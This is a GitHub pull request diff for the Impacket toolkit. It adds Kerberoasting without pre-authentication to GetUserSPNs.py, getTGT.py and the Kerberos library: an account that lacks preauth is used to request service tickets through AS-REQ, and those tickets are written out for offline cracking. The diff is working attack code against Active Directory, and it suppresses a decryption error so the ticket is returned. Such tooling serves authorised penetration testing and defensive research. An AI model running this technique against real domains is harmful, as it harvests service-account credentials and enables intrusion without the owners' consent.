Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Support for Kerberoasting without pre-authentication and ST request through AS-REQ #1413

Merged
merged 10 commits into from
Oct 4, 2023
82 changes: 56 additions & 26 deletions examples/GetUserSPNs.py
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5 import constants
from impacket.krb5.asn1 import TGS_REP
from impacket.krb5.asn1 import TGS_REP, AS_REP
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
Expand Down Expand Up @@ -78,6 +78,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption
self.__targetDomain = target_domain
self.__lmhash = ''
self.__nthash = ''
self.__no_preauth = cmdLineOptions.no_preauth
self.__outputFileName = cmdLineOptions.outputfile
self.__usersFile = cmdLineOptions.usersfile
self.__aesKey = cmdLineOptions.aesKey
Expand Down Expand Up @@ -173,9 +174,11 @@ def getTGT(self):

return TGT

def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):
if self.__no_preauth:
decodedTGS = decoder.decode(ticket, asn1Spec=AS_REP())[0]
else:
decodedTGS = decoder.decode(ticket, asn1Spec=TGS_REP())[0]
# According to RFC4757 (RC4-HMAC) the cipher part is like:
# struct EDATA {
# struct HEADER {
Expand Down Expand Up @@ -240,7 +243,7 @@ def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
logging.debug('About to save TGS for %s' % username)
ccache = CCache()
try:
ccache.fromTGS(tgs, oldSessionKey, sessionKey)
ccache.fromTGS(ticket, oldSessionKey, sessionKey)
ccache.saveFile('%s.ccache' % username)
except Exception as e:
logging.error(str(e))
Expand Down Expand Up @@ -428,31 +431,51 @@ def request_users_file_TGSs(self):
self.request_multiple_TGSs(usernames)

def request_multiple_TGSs(self, usernames):
# Get a TGT for the current user
TGT = self.getTGT()

if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None

for username in usernames:
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
principalName.components = [username]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
self.__kdcIP,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))

if fd is not None:
fd.close()

if self.__no_preauth:
for username in usernames:
try:
no_preauth_pincipal = Principal(self.__no_preauth, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=no_preauth_pincipal,
password=self.__password,
domain=self.__domain,
lmhash=(self.__lmhash),
nthash=(self.__nthash),
aesKey=self.__aesKey,
kdcHost=self.__kdcHost,
service=username)
self.outputTGS(tgt, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))

if fd is not None:
fd.close()
else:
# Get a TGT for the current user
TGT = self.getTGT()

for username in usernames:
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value
principalName.components = [username]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,
self.__kdcIP,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (username, str(e)))

if fd is not None:
fd.close()


# Process command-line arguments.
Expand All @@ -466,6 +489,8 @@ def request_multiple_TGSs(self, usernames):
parser.add_argument('-target-domain', action='store',
help='Domain to query/request if different than the domain of the user. '
'Allows for Kerberoasting across trusts.')
parser.add_argument('-no-preauth', action='store', help='account that does not require preauth, to obtain Service Ticket'
' through the AS')
parser.add_argument('-stealth', action='store_true', help='Removes the (servicePrincipalName=*) filter from the LDAP query for added stealth. '
'May cause huge memory consumption / errors on large domains.')
parser.add_argument('-usersfile', help='File with user per line to test')
Expand Down Expand Up @@ -510,6 +535,11 @@ def request_multiple_TGSs(self, usernames):
# Init the example's logger theme
logger.init(options.ts)

if options.no_preauth and options.usersfile is None:
logging.error('You have to specify -usersfile when -no-preauth is supplied. Usersfile must contain'
' a list of SPNs and/or sAMAccountNames to Kerberoast.')
sys.exit(1)

if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
Expand Down
13 changes: 10 additions & 3 deletions examples/getTGT.py
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,7 @@ def __init__(self, target, password, domain, options):
self.__aesKey = options.aesKey
self.__options = options
self.__kdcHost = options.dc_ip
self.__service = options.service
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')

Expand All @@ -55,9 +56,14 @@ def saveTicket(self, ticket, sessionKey):

def run(self):
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey,
self.__kdcHost)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName = userName,
password = self.__password,
domain = self.__domain,
lmhash = unhexlify(self.__lmhash),
nthash = unhexlify(self.__nthash),
aesKey = self.__aesKey,
kdcHost = self.__kdcHost,
service = self.__service)
ShutdownRepo marked this conversation as resolved.
Show resolved Hide resolved
self.saveTicket(tgt,oldSessionKey)

if __name__ == '__main__':
Expand All @@ -80,6 +86,7 @@ def run(self):
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-service', action='store', metavar="SPN", help='Request a Service Ticket directly through an AS-REQ')

if len(sys.argv)==1:
parser.print_help()
Expand Down
9 changes: 8 additions & 1 deletion impacket/krb5/kerberosv5.py
Original file line number Diff line number Diff line change
Expand Up @@ -92,6 +92,7 @@ def sendReceive(data, host, kdcHost, port=88):

return r


anadrianmanrique marked this conversation as resolved.
Show resolved Hide resolved
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True, serverName=None):

# Convert to binary form, just in case we're receiving strings
Expand Down Expand Up @@ -119,8 +120,11 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH
asReq = AS_REQ()

domain = domain.upper()

if serverName is None:
serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
else:
serverName = Principal(serverName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
Expand Down Expand Up @@ -345,7 +349,10 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH
# probably bad password if preauth is disabled
if preAuth is False:
error_msg = "failed to decrypt session key: %s" % str(e)
raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)
# Commenting error below in order to return tgt, so that Kerberoast through AS-REQ can be conducted
anadrianmanrique marked this conversation as resolved.
Show resolved Hide resolved
# raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)
ShutdownRepo marked this conversation as resolved.
Show resolved Hide resolved
LOG.debug(SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText))
return tgt, None, key, None
raise
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]

Expand Down